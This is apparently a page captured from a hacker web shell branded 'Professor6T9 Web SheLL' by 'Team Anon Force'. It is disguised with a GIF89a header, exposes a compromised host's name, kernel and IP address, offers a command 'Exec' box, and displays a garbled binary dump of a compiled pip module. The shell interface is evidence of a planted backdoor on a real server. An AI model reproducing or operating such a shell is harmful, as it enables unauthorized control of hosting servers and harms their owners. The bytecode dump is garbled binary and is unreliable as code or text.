GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium133.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
162.0.232.69
/
opt
/
imunify360
/
venv
/
lib
/
python3.11
/
site-packages
/
pip
/
_internal
/
metadata
/
importlib
/
__pycache__
[ HOME ]
Exec
Submit
File Name : _envs.cpython-311.pyc
� L�i� � � � d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl m Z mZ d dlm Z d dlmZmZmZmZ d dlmZmZ d dlmZ dd lmZmZmZmZ dd lmZ ej e � � Z!dd�Z" G d� d� � Z# G d� de� � Z$dS )� )�annotationsN)�Iterator�Sequence)�Optional)�InvalidWheelFilename�NormalizedName�canonicalize_name�parse_wheel_filename)�BaseDistribution�BaseEnvironment)�WHEEL_EXTENSION� )�BadMetadata�BasePath�get_dist_canonical_name�get_info_location)�Distribution�location�str�return�boolc �" � | � t � � sdS t j � | � � sdS t t j � | � � � � n# t $ r Y dS w xY wt j | � � S )NF) �endswithr �os�path�isfiler �basenamer �zipfile� is_zipfile)r s ��/builddir/build/BUILD/imunify360-venv-2.6.1/opt/imunify360/venv/lib/python3.11/site-packages/pip/_internal/metadata/importlib/_envs.py�_looks_like_wheelr! s� � ����_�-�-� ��u� �7�>�>�(�#�#� ��u���R�W�-�-�h�7�7�8�8�8�8��� � � ��u�u�������h�'�'�'s �,A, �, A:�9A:c �f � e Zd ZdZeej j ee f Z d d�Zdd�Zdd �Z dd�ZdS )�_DistributionFindera$ Finder to locate distributions. The main purpose of this class is to memoize found distributions' names, so only one distribution is returned for each package name. At lot of pip code assumes this (because it is setuptools's behavior), and not doing the same can potentially cause a distribution in lower precedence path to override a higher precedence one if the caller is not careful. Eventually we probably want to make it possible to see lower precedence installations as well. It's useful feature, after all. r �Nonec �, � t � � | _ d S �N)�set�_found_names)�selfs r �__init__z_DistributionFinder.__init__7 s � �14������� r r �Iterator[FoundResult]c # �x K � t |� � rdS t j � |g�� � D ]�}t |� � } t |� � }n8# t $ r+}t � d||j � � Y d}~�Rd}~ww xY w|| j v r�d| j � |� � ||fV � ��dS )z!Find distributions in a location.N)r zSkipping %s due to %s)r! � importlib�metadata� distributionsr r r �logger�warning�reasonr( �add)r) r �dist� info_location�name�es r � _find_implz_DistributionFinder._find_impl: s� � � � � �X�&�&� ��F� �&�4�4�8�*�4�E�E� &� &�D�-�d�3�3�M� �.�t�4�4����� � � ����6� �q�x�P�P�P���������� ���� �t�(�(�(����!�!�$�'�'�'�� �%�%�%�%�%� &� &s �A� B�!!B�B�Iterator[BaseDistribution]c # �~ K � | � |� � D ]$\ }}|�d}n|j }t |||� � V � �%dS )ziFind distributions in a location. The path can be either a directory, or a ZIP archive. N)r9 �parentr )r) r r5 r6 �installed_locations r �findz_DistributionFinder.findO sj � � � � $(�?�?�8�#<�#<� H� H��D�-��$�6:�"�"�%2�%9�"��t�]�4F�G�G�G�G�G�G� H� Hr+ c # �� K � t j |� � }|� � � sdS |� � � D ]�}|j dk r�|� � � 5 }d� |D � � }t d� |D � � d� � }ddd� � n# 1 swxY w Y |s�ct |� |� � � � }| � |� � D ]\ }} t || |� � V � ���dS )a� Read location in egg-link files and return distributions in there. The path should be a directory; otherwise this returns nothing. This follows how setuptools does this for compatibility. The first non-empty line in the egg-link is read as a path (resolved against the egg-link's containing directory if relative). Distributions found at that linked location are returned. Nz .egg-linkc 3 �>